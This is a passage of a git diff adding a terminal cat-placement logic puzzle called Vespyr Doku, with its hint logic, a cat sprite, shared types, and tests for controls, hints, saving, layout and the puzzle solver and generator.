undefined { + const board = new LogicBoard(size, regions); + const answer = (cell: number): boolean => solution[Math.floor(cell / size)] === cell % size; + const cats: number[] = []; + for (let cell = 0; cell < size * size; cell += 1) if (marks[cell] === 2) cats.push(cell); + const wrong = cats.find(cell => !answer(cell)); + if (wrong !== undefined) { + const partner = cats.find(cell => cell !== wrong && board.clash(cell, wrong)); + const text = partner === undefined + ? `The cat at ${cellName(size, wrong)} is not part of the solution (a dead end): lift it.` + : `The cats at ${cellName(size, wrong)} and ${cellName(size, partner)} clash: lift the first.`; + return {kind: 'fix', technique: 'fix', text, involved: partner === undefined ? [wrong] : [wrong, partner], targets: [wrong], changes: [{cell: wrong, to: 0}]}; + } + for (let cell = 0; cell < size * size; cell += 1) { + if (marks[cell] === 1 && answer(cell)) { + return {kind: 'fix', technique: 'fix', text: `The X at ${cellName(size, cell)} hides a cat's only home: clear it.`, involved: [cell], targets: [cell], changes: [{cell, to: 0}]}; + } + } + for (const cell of cats) board.place(cell); + for (let cell = 0; cell < size * size; cell += 1) if (marks[cell] === 1) board.remove([cell]); + if (board.catCount >= size) return undefined; + const step = board.nextStep(); + if (step?.place !== undefined) return {kind: 'place', technique: step.technique, text: step.text, involved: step.involved, targets: [step.place], changes: [{cell: step.place, to: 2}]}; + if (step) return {kind: 'exclude', technique: step.technique, text: step.text, involved: step.involved, targets: step.eliminate, changes: step.eliminate.map(cell => ({cell, to: 1}))}; + // The techniques ran out on a board the person narrowed oddly: fall back to the answer for the first empty row. + const row = Array.from({length: size}, (_, index) => index).find(index => !cats.some(cell => Math.floor(cell / size) === index))!; + const cell = row * size + solution[row]!; + return {kind: 'place', technique: 'single', text: `Row ${row + 1} belongs to a cat at column ${solution[row]! + 1}: place it there.`, involved: [cell], targets: [cell], changes: [{cell, to: 2}]}; +} diff --git a/src/arcade/games/doku/sprite.ts b/src/arcade/games/doku/sprite.ts new file mode 100644 index 00000000..bbc09c18 --- /dev/null +++ b/src/arcade/games/doku/sprite.ts @@ -0,0 +1,48 @@ +import type {PixelBuffer} from '../../Canvas.js'; +import type {Rgb} from '../../../chroma/escape.js'; +import type {ArcadePalette} from '../../palette.js'; +import {CAT_ASCII, CAT_ASCII_BLINK} from '../../../idle/catSprite.js'; + +/** + * A mini Vespyr for a board cell: the head and ears of the NMSh cat's sprite (`idle/catSprite.ts`), five pixels wide and + * four tall (two terminal rows), with a tail that can flick. L is body, E an eye, S shade; every other character is clear. + */ +const HEAD: readonly string[] = [ + 'L...L', + 'LLLLL', + 'LELEL', + '.SSS.', +]; +const HEAD_BLINK: readonly string[] = [ + 'L...L', + 'LLLLL', + 'LSSSL', + '.SSS.', +]; + +/** Draw the cat into `buffer` with the head's top-left pixel at (x, y); `tail` is 0 (rest), 1 (flicked) or -1 (none). */ +export function drawMiniCat(buffer: PixelBuffer, x: number, y: number, palette: ArcadePalette, options: {blink: boolean; tail: -1 | 0 | 1}): void { + const colors: Record = {L: palette.cat.body, E: palette.cat.eye, S: palette.cat.shade}; + const rows = options.blink ? HEAD_BLINK : HEAD; + rows.forEach((row, dy) => [...row].forEach((glyph, dx) => { const color = colors[glyph]; if (color) buffer.set(x + dx, y + dy, color); })); + if (options.tail >= 0) { + const tailX = x + 5; + const base = y + 3 - options.tail * 2; + buffer.set(tailX, base, palette.cat.body); + buffer.set(tailX, base + 1, palette.cat.shade); + } +} + +/** Text forms for NO_COLOR and Safe Glyphs, sized to a cell (`large` 7 x 3, `medium` 6 x 2, one row otherwise). */ +export function textCat(kind: 'large' | 'medium' | 'compact' | 'tight' | 'mini', state: {blink: boolean; conflict: boolean}): string[] { + const eyes = state.conflict ? '!' : state.blink ? '-' : 'o'; + if (kind === 'large') { + const base = state.blink ? CAT_ASCII_BLINK : CAT_ASCII; + return [base[0]!, `( ${eyes}.${eyes} )`, base[2]!]; + } + if (kind === 'medium') return [CAT_ASCII[0]!.slice(0, 6), ` (${eyes}.${eyes})`]; + const face = state.conflict ? '^!^' : state.blink ? '-.-' : '^.^'; + if (kind === 'mini') return [state.conflict ? '^!' : '^^']; + return [face]; +} + diff --git a/src/arcade/games/doku/types.ts b/src/arcade/games/doku/types.ts new file mode 100644 index 00000000..51f192c4 --- /dev/null +++ b/src/arcade/games/doku/types.ts @@ -0,0 +1,15 @@ +/** Shared shapes for Vespyr Doku. Types only: the generator and the solver both import this and nothing from each other. */ +export type Difficulty = 'easy' | 'medium' | 'hard' | 'expert'; +export const DIFFICULTIES: readonly Difficulty[] = ['easy', 'medium', 'hard', 'expert']; + +/** A square puzzle: `regions[row * size + column]` is the region index (0..size-1) and `solution[row]` the cat's column. */ +export interface Puzzle { + size: number; + regions: number[]; + solution: number[]; +} + +/** What a cell holds on the person's board. */ +export const EMPTY = 0; +export const EXCLUDED = 1; +export const CAT = 2; diff --git a/tests/arcadeDoku.test.ts b/tests/arcadeDoku.test.ts new file mode 100644 index 00000000..39763749 --- /dev/null +++ b/tests/arcadeDoku.test.ts @@ -0,0 +1,467 @@ +import test from 'node:test'; +import assert from 'node:assert/strict'; +import {mkdtempSync, rmSync} from 'node:fs'; +import {join} from 'node:path'; +import type {Key} from '../src/terminal/keys.js'; +import {ArcadeSession, type ArcadeEnvironment} from '../src/arcade/ArcadeSession.js'; +import {Canvas} from '../src/arcade/Canvas.js'; +import {arcadePalette} from '../src/arcade/palette.js'; +import {createRng} from '../src/arcade/rng.js'; +import {ArcadeStore, type GameRecord, type GameRecordHandle} from '../src/arcade/scores.js'; +import {findGame} from '../src/arcade/registry.js'; +import type {GameContext, GameInstance} from '../src/arcade/types.js'; +import {dokuGame} from '../src/arcade/games/doku/index.js'; +import {readCurrent} from '../src/arcade/games/doku/board.js'; +import {minimumCanvas} from '../src/arcade/games/doku/layout.js'; +import {stripAnsi, displayWidth} from '../src/util/text.js'; + +const text = (value: string): Key => ({kind: 'text', value} as Key); +const named = (kind: string): Key => ({kind} as Key); + +function memoryRecord(initial: GameRecord = {}): GameRecordHandle & {raw(): GameRecord} { + let data: GameRecord = structuredClone(initial); + return {get: () => structuredClone(data), set: record => { data = structuredClone(record); return true; }, update: change => { const copy = structuredClone(data); change(copy); data = copy; return true; }, raw: () => data}; +} + +interface Options { columns?: number; rows?: number; reduced?: boolean; color?: 'none' | 'truecolor'; safe?: boolean; record?: ReturnType; seed?: number } + +function open(options: Options = {}) { + const record = options.record ?? memoryRecord(); + const context: GameContext = { + size: {columns: options.columns ?? 100, rows: options.rows ?? 40}, seed: options.seed ?? 5, rng: createRng(options.seed ?? 5), + motion: {effects: options.reduced ? 'off' : 'normal', reduced: options.reduced ?? false}, color: options.color ?? 'truecolor', safeGlyphs: options.safe ?? false, + record, now: () => 0, + }; + const game = dokuGame.create(context); + const canvas = new Canvas(context.size.columns, context.size.rows); + const press = (...keys: Array) => { for (const key of keys) game.key(typeof key === 'string' ? (key.length === 1 ? text(key) : named(key)) : key); }; + const plain = (safe = options.safe ?? false, color: 'none' | 'truecolor' = options.color ?? 'truecolor') => { game.render(canvas, 0, arcadePalette()); return canvas.plain({color, safe}); }; + const current = () => readCurrent(record.raw().current); + return {game, record, canvas, press, plain, current, context}; +} + +/** Let `ms` of real time pass, in frames the way the host delivers them. */ +function elapse(game: GameInstance, ms: number) { for (let left = ms; left > 0; left -= 1000) game.animate(Math.min(1000, left)); } + +function goto(press: (...keys: string[]) => void, from: number, to: number, size: number) { + const rows = Math.floor(to / size) - Math.floor(from / size); + const columns = (to % size) - (from % size); + for (let step = 0; step < Math.abs(rows); step += 1) press(rows > 0 ? 'down' : 'up'); + for (let step = 0; step < Math.abs(columns); step += 1) press(columns > 0 ? 'right' : 'left'); +} + +/** Start a puzzle and track the cursor, which opens at the middle of the board. */ +function play(options: Options = {}, difficulty = 'e') { + const harness = open(options); + harness.press(difficulty); + const board = harness.current()!; + const size = board.size; + let cursor = Math.floor(size / 2) * size + Math.floor(size / 2); + const move = (to: number) => { goto(harness.press as never, cursor, to, size); cursor = to; }; + return {...harness, board, size, move, at: () => cursor, cat: (cell: number) => { move(cell); harness.press(' '); }}; +} + +test('registry: Vespyr Doku is a puzzle with id, alias and title', () => { + assert.equal(findGame('doku'), dokuGame); + assert.equal(findGame('vespyr-doku'), dokuGame); + assert.equal(dokuGame.title, 'Vespyr Doku'); + assert.equal(dokuGame.kind, 'puzzle'); + const game = open().game; + assert.equal(game.stepsPerSecond, 0); + assert.equal(game.refreshMs, 1000); +}); + +test('menu: new game by difficulty, Continue only when something is saved, Esc leaves', () => { + const h = open(); + assert.equal(h.game.status, 'ready'); + const menu = h.plain().join('\n'); + assert.match(menu, /New easy puzzle/u); + assert.match(menu, /New expert puzzle/u); + assert.doesNotMatch(menu, /Continue/u); + assert.equal(h.game.key(named('escape')), 'ignored'); + h.press('down', 'down', 'up'); + assert.equal(h.game.status, 'ready'); + h.press('m'); + assert.equal(h.game.status, 'playing'); + assert.equal(h.current()!.difficulty, 'medium'); + assert.equal(h.current()!.size, 7); + for (const [key, difficulty, sizes] of [['h', 'hard', [8]], ['x', 'expert', [9, 10]], ['e', 'easy', [5, 6]]] as const) { + const next = open(); + next.press(key); + assert.equal(next.current()!.difficulty, difficulty); + assert.ok((sizes as readonly number[]).includes(next.current()!.size)); + } +}); + +test('moving: arrows and hjkl, clamped at the edges', () => { + const h = play(); + const {size} = h; + h.press('left', 'left', 'left', 'left', 'left', 'left', 'up', 'up', 'up', 'up', 'up', 'up', 'h', 'k'); + h.press(' '); + assert.equal(h.current()!.marks[0], 2, 'Space on the corner cell'); + h.press('l', 'j', 'x'); + assert.equal(h.current()!.marks[size + 1], 1, 'l then j reached row 2, column 2'); + for (let index = 0; index < size + 3; index += 1) h.press('right', 'down'); + h.press('x'); + assert.equal(h.current()!.marks[size * size - 1], 1); +}); + +test('marks: Space and Enter toggle a cat, x toggles X, a cat clears the X, x leaves a cat alone', () => { + const h = play(); + const cell = h.at(); + h.press('x'); + assert.equal(h.current()!.marks[cell], 1); + h.press(' '); + assert.equal(h.current()!.marks[cell], 2, 'a cat replaces the X'); + h.press('x'); + assert.equal(h.current()!.marks[cell], 2, 'x does not remove a cat'); + h.press('enter'); + assert.equal(h.current()!.marks[cell], 0, 'Enter takes the cat away'); + h.press('x', 'x'); + assert.equal(h.current()!.marks[cell], 0, 'x twice clears the X'); +}); + +test('undo and redo: u, Ctrl+Y and y round trip; c clears everything as one move', () => { + const h = play(); + const marks = () => [...h.current()!.marks].join(''); + const start = marks(); + h.cat(h.at()); h.press('right', 'x', 'right', ' '); + const done = marks(); + assert.notEqual(done, start); + h.press('u', 'u', 'u'); + assert.equal(marks(), start); + h.press(named('redo')); + h.press('y', 'y'); + assert.equal(marks(), done); + h.press('c'); + assert.equal(marks(), start); + h.press('u'); + assert.equal(marks(), done, 'undo restores the cleared marks'); + h.press('y'); + assert.equal(marks(), start); +}); + +test('timer: runs from animate only while playing, not in the menu or while paused or won', () => { + const h = open(); + h.game.animate(5000); + h.press('e'); + const read = () => h.current()!.elapsedMs; + assert.equal(read(), 0, 'the menu did not run the clock'); + h.game.animate(1000); h.game.animate(1500); + h.press('x'); + assert.equal(read(), 2500); + h.game.step(16); + assert.equal(read(), 2500, 'step does not move the clock'); + h.game.pause(); + assert.equal(h.game.refreshMs, 50, 'a quick repaint brings the board back after resume'); + h.game.animate(40); + h.game.animate(1000); + h.press('x'); + assert.equal(read(), 3500); + assert.equal(h.game.refreshMs, 250); +}); + +test('hints: the first press explains and highlights, the second applies; counted; undoable; never touches the puzzle', () => { + const h = play({}, 'm'); + const before = structuredClone(h.record.raw().current) as Record; + h.press('t'); + const shown = h.plain().join('\n'); + assert.match(shown, /Press t again/u); + assert.match(shown, /[◆◇]|\*|o/u); + const after = h.record.raw().current as Record; + assert.equal(after.marks, before.marks, 'explaining changes nothing'); + assert.equal(after.regions, before.regions); + assert.equal(after.solution, before.solution); + assert.equal(after.hints, 1, 'a hint is counted when it is shown'); + h.press('right'); + assert.match(h.plain().join('\n'), /Press t again/u, 'moving the cursor keeps the hint'); + h.press('t'); + const applied = h.current()!; + assert.notEqual([...applied.marks].join(''), '0'.repeat(applied.marks.length), 'the second press applies it'); + assert.equal(applied.hints, 1, 'applying does not count a second time'); + assert.doesNotMatch(h.plain().join('\n'), /Press t again/u); + h.press('u'); + assert.equal([...h.current()!.marks].join(''), '0'.repeat(applied.marks.length), 'the applied hint is one undoable move'); + h.press('t', 'x'); + assert.doesNotMatch(h.plain().join('\n'), /Press t again/u, 'any other change drops the hint'); +}); + +test('hints: repeated hints solve the puzzle and the win records no best time', () => { + const h = play({}, 'e'); + for (let index = 0; index < 200 && h.game.status === 'playing'; index += 1) h.press('t'); + assert.equal(h.game.status, 'won'); + assert.ok(h.game.result!.details.some(line => /hints?$/u.test(line))); + const record = h.record.raw(); + assert.equal(record.completed, 1); + assert.equal(record.streak, 0, 'a hinted solve does not extend the streak'); + assert.deepEqual(record.bestTimes, {}); + assert.equal(record.current, undefined, 'a finished puzzle is no longer saved'); +}); + +test('winning by hand: result, statistics, best time per difficulty, streak', () => { + const h = play({}, 'e'); + const {board} = h; + elapse(h.game, 83_000); + board.puzzle.solution.forEach((column, row) => h.cat(row * board.size + column)); + assert.equal(h.game.status, 'won'); + const result = h.game.result!; + assert.equal(result.scoreText, '1:23'); + assert.equal(result.score, 83); + assert.equal(result.record, true); + assert.match(result.details.join(' '), /Easy/u); + assert.match(result.details.join(' '), /No hints/u); + const record = h.record.raw() as Record; + assert.equal(record.completed, 1); + assert.equal(record.completedByDifficulty.easy, 1); + assert.equal(record.bestTimes.easy, 83_000); + assert.equal(record.streak, 1); + assert.equal(record.bestStreak, 1); + assert.equal(record.version, 1); + assert.equal(record.current, undefined); + const rows = h.plain().join('\n'); + assert.match(rows, /Vespyr Doku/u); + // a slower second solve keeps the best time and extends the streak + const second = open({record: h.record, seed: 9}); + second.press('e'); + const next = second.current()!; + elapse(second.game, 120_000); + let cursor = Math.floor(next.size / 2) * next.size + Math.floor(next.size / 2); + next.puzzle.solution.forEach((column, row) => { const cell = row * next.size + column; goto(second.press as never, cursor, cell, next.size); cursor = cell; second.press(' '); }); + assert.equal(second.game.status, 'won'); + assert.equal(second.game.result!.record, false); + assert.match(second.game.result!.details.join(' '), /Best 1:23/u); + const after = h.record.raw() as Record; + assert.equal(after.bestTimes.easy, 83_000); + assert.equal(after.streak, 2); + assert.equal(after.completed, 2); + assert.match(dokuGame.summary(after), /Solved 2/u); +}); + +test('restart (r twice), new puzzle (n) and Continue', () => { + const h = play(); + h.cat(h.at()); + h.game.animate(4000); + h.press('r'); + assert.match(h.plain().join('\n'), /Press r again/u); + h.press('x'); + h.press('r'); + assert.match(h.plain().join('\n'), /Press r again/u, 'any other key disarms the restart'); + h.press('r'); + const fresh = h.current()!; + assert.ok([...fresh.marks].every(mark => mark === 0)); + assert.equal(fresh.elapsedMs, 0); + assert.equal(fresh.seed, h.board.seed, 'the same puzzle'); + assert.deepEqual(fresh.puzzle.regions, h.board.puzzle.regions); + h.press(' '); + h.game.animate(2000); + h.press('n'); + assert.equal(h.game.status, 'ready'); + assert.match(h.plain().join('\n'), /Continue/u); + h.press('c'); + assert.equal(h.game.status, 'playing'); + const saved = h.current()!; + assert.equal(saved.marks.filter(mark => mark === 2).length, 1); + assert.equal(saved.elapsedMs, 2000); +}); + +test('persistence: leaving saves the board, a new game continues it, a corrupt save is discarded', () => { + const first = play({}, 'h'); + first.cat(first.at()); + first.press('x'); + elapse(first.game, 7000); + first.game.persist(); + first.game.dispose(); + const again = open({record: first.record}); + assert.match(again.plain().join('\n'), /Continue .*Hard 8×8 · 0:07/u); + again.press('enter'); + assert.equal(again.game.status, 'playing'); + assert.equal(again.current()!.elapsedMs, 7000); + assert.equal(again.current()!.marks.filter(mark => mark === 2).length, 1); + for (const damage of [{size: 3}, {marks: 'zz'}, {regions: 'AB'}, {elapsedMs: -1}, {solution: '0,1'}]) { + const record = memoryRecord({...first.record.raw(), current: {...(first.record.raw().current as object), ...damage}}); + const recovered = open({record}); + assert.doesNotMatch(recovered.plain().join('\n'), /Continue/u); + assert.equal(record.raw().current, undefined, 'the bad save is dropped'); + } + assert.doesNotMatch(open({record: memoryRecord({current: 'garbage', completed: 'x', bestTimes: 7})}).plain().join('\n'), /Continue/u); +}); + +test('layout: every canvas from 20 x 8 to 200 x 60 draws within its width, in every screen', () => { + const sizes: Array<[number, number]> = [[20, 8], [24, 9], [28, 10], [32, 12], [40, 14], [50, 16], [60, 20], [80, 24], [100, 30], [120, 40], [160, 50], [200, 60]]; + for (const [columns, rows] of sizes) { + for (const key of ['e', 'm', 'h', 'x']) { + const h = open({columns, rows, seed: 3}); + h.plain(); + h.press(key); + h.press('t', ' ', 'right', 'x'); + for (const mode of ['truecolor', 'none'] as const) { + const lines = h.plain(false, mode); + assert.equal(lines.length, rows); + for (const line of lines) assert.ok(displayWidth(line) <= columns, `${columns}x${rows} ${key}: "${line}"`); + } + const size = h.current()!.size; + const needs = minimumCanvas(size); + if (columns < needs.columns || rows < needs.rows) assert.match(h.plain().join('\n'), /Needs at least \d+x\d+/u); + else assert.doesNotMatch(h.plain().join('\n'), /Needs at least/u); + h.game.resize({columns: columns + 5, rows: rows + 2}); + h.game.pause(); + for (const line of new Canvas(columns, rows).plain()) assert.ok(displayWidth(line) <= columns); + } + } +}); + +test('regions stay distinguishable without color: letters, borders, cats, X marks and clashes', () => { + const h = play({color: 'none', columns: 120, rows: 45}, 'm'); + const {size, board} = h; + const solution = board.puzzle.solution; + h.cat(solution[0]!); + h.cat(size + solution[1]!); + h.move(2 * size + 0); h.press('x'); + // two cats in one row: a clash + const crowded = 3 * size; + const wrongColumn = (solution[3]! + 3) % size; + h.cat(crowded + wrongColumn); + h.cat(crowded + ((wrongColumn + 4) % size)); + const rows = h.plain(false, 'none'); + const screen = rows.join('\n'); + for (let region = 0; region < size; region += 1) assert.ok(screen.includes(String.fromCharCode(65 + region)), `region letter ${String.fromCharCode(65 + region)}`); + assert.match(screen, /[┌┐└┘├┤┬┴┼│─]/u, 'borders carry region shapes'); + assert.match(screen, /\( o\.o \)/u, 'a text cat'); + assert.match(screen, /\( !\.! \)/u, 'a clashing cat has its own face'); + assert.match(screen, /[╲╳╱]/u, 'an X mark'); + assert.match(screen, /clash/u); + assert.match(screen, /!/u); + const catFaces = screen.match(/\( [o!]\.[o!] \)/gu) ?? []; + assert.equal(catFaces.length, 4); + // Safe Glyphs: ASCII only, and the same information + const safe = play({color: 'none', safe: true, columns: 120, rows: 45}, 'm'); + const answer = safe.board.puzzle.solution; + safe.cat(answer[0]!); + safe.cat(safe.size + answer[1]!); + safe.move(2 * safe.size + ((answer[2]! + 1) % safe.size)); safe.press('x'); + safe.cat(3 * safe.size + ((answer[3]! + 2) % safe.size)); + safe.cat(3 * safe.size + ((answer[3]! + 5) % safe.size)); + const ascii = safe.plain(true, 'none'); + for (const line of ascii) assert.match(line, /^[\x20-\x7e]*$/u, line); + const asciiScreen = ascii.join('\n'); + assert.match(asciiScreen, /[+|-]/u); + assert.match(asciiScreen, /\( o\.o \)/u); + assert.match(asciiScreen, /\( !\.! \)/u); + assert.match(asciiScreen, /\\ \/|X/u); +}); + +test('small cells keep the information too: letters, ^.^ cats, × marks and ! clashes', () => { + const h = play({color: 'none', columns: 80, rows: 24}, 'x'); + const {size} = h; + h.cat(0); h.cat(1); + h.move(size * 2 + 2); h.press('x'); + const screen = h.plain(false, 'none').join('\n'); + assert.match(screen, /\^!\^/u, 'clashing cats'); + assert.match(screen, /×/u); + assert.match(screen, /│/u); + assert.match(screen, /\[/u, 'the cursor brackets'); + assert.ok(screen.includes('A') && screen.includes('B')); + const mini = play({color: 'none', columns: 24, rows: 9}, 'e'); + mini.cat(0); + const text = mini.plain(false, 'none').join('\n'); + assert.match(text, /\^/u); + assert.match(text, /A/u); +}); + +test('completed rows, columns and regions are marked', () => { + const h = play({color: 'none', columns: 120, rows: 45}, 'e'); + const solution = h.board.puzzle.solution; + h.cat(solution[0]!); + const first = h.plain(false, 'none').join('\n'); + assert.match(first, /✔/u, 'a satisfied row and column show a tick'); + assert.equal(h.board.size > 0, true); + const analysis = readCurrent(h.record.raw().current)!.analysis(); + assert.ok(analysis.rowDone[0] && analysis.columnDone[solution[0]!] && analysis.regionDone[0]); +}); + +test('reduced motion is static; normal motion blinks', () => { + const frames = (reduced: boolean) => { + const h = play({color: 'none', reduced, columns: 120, rows: 45}, 'e'); + h.cat(h.at()); + h.game.animate(1); + const seen = new Set(); + for (let tick = 0; tick < 60; tick += 1) { h.game.animate(250); seen.add(h.plain(false, 'none').join('\n').replace(/\d+:\d\d/gu, '')); } + return {seen, refresh: h.game.refreshMs}; + }; + const still = frames(true); + assert.equal(still.seen.size, 1, 'reduced motion never changes between frames'); + assert.equal(still.refresh, 1000); + const lively = frames(false); + assert.ok(lively.seen.size > 1, 'the cat blinks now and then'); + const h = play({reduced: false}, 'e'); + h.cat(h.at()); + assert.equal(h.game.refreshMs, 50, 'a placement settles quickly'); + for (let index = 0; index < 4; index += 1) h.game.animate(100); + assert.equal(h.game.refreshMs, 250); + const calm = play({reduced: true}, 'e'); + calm.cat(calm.at()); + assert.equal(calm.game.refreshMs, 1000, 'no settle animation under reduced motion'); +}); + +test('the winning board is drawn with its cats, and particles only when motion allows', () => { + const win = (reduced: boolean) => { + const h = play({reduced, columns: 100, rows: 40}, 'e'); + h.board.puzzle.solution.forEach((column, row) => h.cat(row * h.board.size + column)); + assert.equal(h.game.status, 'won'); + return h; + }; + const calm = win(true); + const lively = win(false); + const cells = (h: ReturnType) => { h.plain(); return h.canvas; }; + const particles = (h: ReturnType) => { let count = 0; const canvas = cells(h); for (let y = 0; y < canvas.height; y += 1) for (let x = 0; x < canvas.width; x += 1) if (canvas.cell(x, y)?.ch === '▀' || canvas.cell(x, y)?.ch === '▄') count += 1; return count; }; + assert.ok(particles(lively) >= particles(calm)); + assert.match(calm.plain().join('\n'), /Every row, column and region/u); +}); + +test('the shared session: pause hides the board, resume brings it back, a win shows the card', () => { + const dir = mkdtempSync(join(process.env.TMPDIR ?? '/tmp', 'arcade-doku-')); + try { + let now = 1000; + const env: ArcadeEnvironment = {store: new ArcadeStore({directory: dir}), now: () => now, motion: () => ({reduced: false, effects: 'normal'}), color: () => 'none', safeGlyphs: () => false, seed: () => 11}; + const session = new ArcadeSession(env, [dokuGame], {columns: 100, rows: 40}, dokuGame); + const screen = () => session.render().rows.map(row => stripAnsi(row)).join('\n'); + assert.match(screen(), /New easy puzzle/u); + session.key(text('e')); + assert.equal(session.screen, 'playing'); + assert.match(screen(), /Easy [56]×[56]/u); + assert.match(screen(), /A/u); + assert.ok(session.interval > 0 && session.interval <= 1000); + session.key(named('escape')); + assert.equal(session.screen, 'paused'); + const paused = screen(); + assert.match(paused, /Paused/u); + assert.doesNotMatch(paused, /│A/u, 'the board is hidden'); + session.key(named('escape')); + assert.equal(session.screen, 'playing'); + session.frame(50); + assert.match(screen(), /│A|A/u); + assert.doesNotMatch(screen(), /board is hidden/u); + // leaving saves the unfinished puzzle for next time + session.dispose(); + const store = new ArcadeStore({directory: dir}); + assert.ok(readCurrent(store.record('vespyr-doku').get().current)); + } finally { rmSync(dir, {recursive: true, force: true}); } +}); + +test('preview and summary behave for an empty or odd record', () => { + const canvas = new Canvas(30, 8); + for (let frame = 0; frame < 30; frame += 3) { canvas.clear(); dokuGame.preview(canvas, frame, arcadePalette()); } + assert.match(canvas.plain().join('\n'), /[A-E]/u); + assert.equal(dokuGame.summary({}), 'Not played yet'); + assert.equal(dokuGame.summary({completed: 'many', bestTimes: null}), 'Not played yet'); + assert.match(dokuGame.summary({completed: 3, bestTimes: {hard: 95_000}}), /Solved 3 · best hard 1:35/u); + const tiny = new Canvas(16, 3); + dokuGame.preview(tiny, 4, arcadePalette()); +}); + +test('dispose releases the board and is safe to repeat', () => { + const h = play(); + (h.game as GameInstance).dispose(); + (h.game as GameInstance).dispose(); + h.game.animate(100); +}); diff --git a/tests/arcadeDokuLogic.test.ts b/tests/arcadeDokuLogic.test.ts new file mode 100644 index 00000000..52625133 --- /dev/null +++ b/tests/arcadeDokuLogic.test.ts @@ -0,0 +1,348 @@ +import test from 'node:test'; +import assert from 'node:assert/strict'; +import {readFileSync} from 'node:fs'; +import {fileURLToPath} from 'node:url'; +import {createRng} from '../src/arcade/rng.js'; +import {DokuBoard, formatTime, readCurrent, readStats, writeStats} from '../src/arcade/games/doku/board.js'; +import {candidatePuzzle, growRegions, placeCats} from '../src/arcade/games/doku/generator.js'; +import {boardHeight, boardWidth, chooseLayout, CELL_STYLES} from '../src/arcade/games/doku/layout.js'; +import {SIZES, makePuzzle, makePuzzleOfSize} from '../src/arcade/games/doku/puzzle.js'; +import {analyze} from '../src/arcade/games/doku/rules.js'; +import {DIFFICULTY_LEVELS, LogicBoard, countSolutions, nextHint, rate, solveOne, solveOther} from '../src/arcade/games/doku/solver.js'; +import {CAT, DIFFICULTIES, EXCLUDED, type Puzzle} from '../src/arcade/games/doku/types.js'; + +const source = (name: string) => readFileSync(fileURLToPath(new URL(`../src/arcade/games/doku/${name}`, import.meta.url)), 'utf8'); + +const catsOf = (puzzle: Puzzle): Uint8Array => { + const marks = new Uint8Array(puzzle.size * puzzle.size); + puzzle.solution.forEach((column, row) => { marks[row * puzzle.size + column] = CAT; }); + return marks; +}; + +function connected(puzzle: Puzzle, region: number): boolean { + const {size, regions} = puzzle; + const cells = regions.flatMap((owner, cell) => (owner === region ? [cell] : [])); + const seen = new Set([cells[0]!]); + const queue = [cells[0]!]; + while (queue.length) { + const cell = queue.pop()!; + const row = Math.floor(cell / size); + const column = cell % size; + for (const [r, c] of [[row - 1, column], [row + 1, column], [row, column - 1], [row, column + 1]] as const) { + if (r < 0 || c < 0 || r >= size || c >= size) continue; + const next = r * size + c; + if (regions[next] === region && !seen.has(next)) { seen.add(next); queue.push(next); } + } + } + return seen.size === cells.length; +} + +/** Every property a finished puzzle must have, checked without the generator's help. */ +function assertSound(puzzle: Puzzle): void { + const {size, regions, solution} = puzzle; + assert.equal(regions.length, size * size); + assert.equal(new Set(solution).size, size, 'one cat per column'); + assert.ok(analyze(size, regions, catsOf(puzzle)).solved, 'the solution satisfies all four rules'); + for (let region = 0; region < size; region += 1) assert.ok(connected(puzzle, region), `region ${region} is connected`); + assert.equal(countSolutions(size, regions, 2), 1, 'exactly one solution'); + assert.deepEqual(solveOne(size, regions), solution, 'the only solution is the planted one'); + assert.equal(solveOther(size, regions, solution), undefined); + assert.ok(rate(size, regions).solved, 'solvable by the human techniques alone'); +} + +test('independence: the generator and the solver import nothing from each other', () => { + for (const file of ['generator.ts', 'solver.ts']) { + const imports = source(file).split('\n').filter(line => /^import /u.test(line)).join('\n'); + assert.doesNotMatch(imports, file === 'generator.ts' ? /solver|rules|board|puzzle/u : /generator|puzzle|rules|board/u, `${file} imports`); + } +}); + +test('rules: the validator accepts the solution and rejects each kind of mistake', () => { + const puzzle = makePuzzleOfSize(3, 6)!; + const {size, regions, solution} = puzzle; + assert.ok(analyze(size, regions, catsOf(puzzle)).solved); + assert.ok(!analyze(size, regions, new Uint8Array(size * size)).solved, 'empty is not solved'); + + // two in a row + let marks = catsOf(puzzle); + const free = (row: number): number => { for (let column = 0; column < size; column += 1) if (marks[row * size + column] !== CAT && Math.abs(column - solution[row]!) > 1) return row * size + column; return -1; }; + marks[free(0)] = CAT; + let result = analyze(size, regions, marks); + assert.ok(!result.solved); + assert.equal(result.rowCats[0], 2); + assert.equal(result.conflict[solution[0]!], 1, 'both cats of the crowded row conflict'); + + // two touching diagonally + marks = new Uint8Array(size * size); + marks[0] = CAT; marks[size + 1] = CAT; + result = analyze(size, regions, marks); + assert.equal(result.conflict[0], 1); + assert.equal(result.conflict[size + 1], 1); + + // a region with two cats (far enough apart that nothing else is wrong with them) + marks = new Uint8Array(size * size); + const members = regions.flatMap((owner, cell) => (owner === regions[0] ? [cell] : [])); + const pair = members.flatMap(a => members.filter(b => b > a && Math.floor(b / size) - Math.floor(a / size) > 1 && Math.abs((b % size) - (a % size)) > 1).map(b => [a, b] as const))[0]; + if (pair) { + marks[pair[0]] = CAT; marks[pair[1]] = CAT; + result = analyze(size, regions, marks); + assert.equal(result.regionCats[regions[0]!], 2); + assert.equal(result.conflict[pair[0]], 1); + assert.equal(result.conflict[pair[1]], 1); + } + + // a column with two cats + marks = new Uint8Array(size * size); + marks[0] = CAT; marks[2 * size] = CAT; + result = analyze(size, regions, marks); + assert.equal(result.columnCats[0], 2); + assert.equal(result.conflict[2 * size], 1); + + // X marks are not cats + marks = catsOf(puzzle); + marks[free(1)] = EXCLUDED; + assert.ok(analyze(size, regions, marks).solved); +}); + +test('uniqueness: a layout with two solutions is counted as such, and rejected by the puzzle pipeline', () => { + const rows = Array.from({length: 16}, (_, cell) => Math.floor(cell / 4)); + assert.equal(countSolutions(4, rows, 5), 2, 'rows as regions: 2413 and 3142'); + assert.equal(countSolutions(4, rows, 1), 1, 'the limit stops the count'); + const other = solveOther(4, rows, [1, 3, 0, 2]); + assert.deepEqual(other, [2, 0, 3, 1]); +}); + +test('generator: planted cats never touch, regions grow connected around them, all from the seed', () => { + for (let size = 4; size <= 10; size += 1) { + for (let seed = 1; seed <= 20; seed += 1) { + const solution = placeCats(size, createRng(seed))!; + assert.equal(new Set(solution).size, size); + solution.forEach((column, row) => { if (row) assert.ok(Math.abs(column - solution[row - 1]!) >= 2); }); + const puzzle = {size, solution, regions: growRegions(size, solution, createRng(seed), 0.7)}; + for (let region = 0; region < size; region += 1) assert.ok(connected(puzzle, region)); + solution.forEach((column, row) => assert.equal(puzzle.regions[row * size + column], row, 'each region holds exactly its own cat')); + } + } + assert.deepEqual(candidatePuzzle(7, 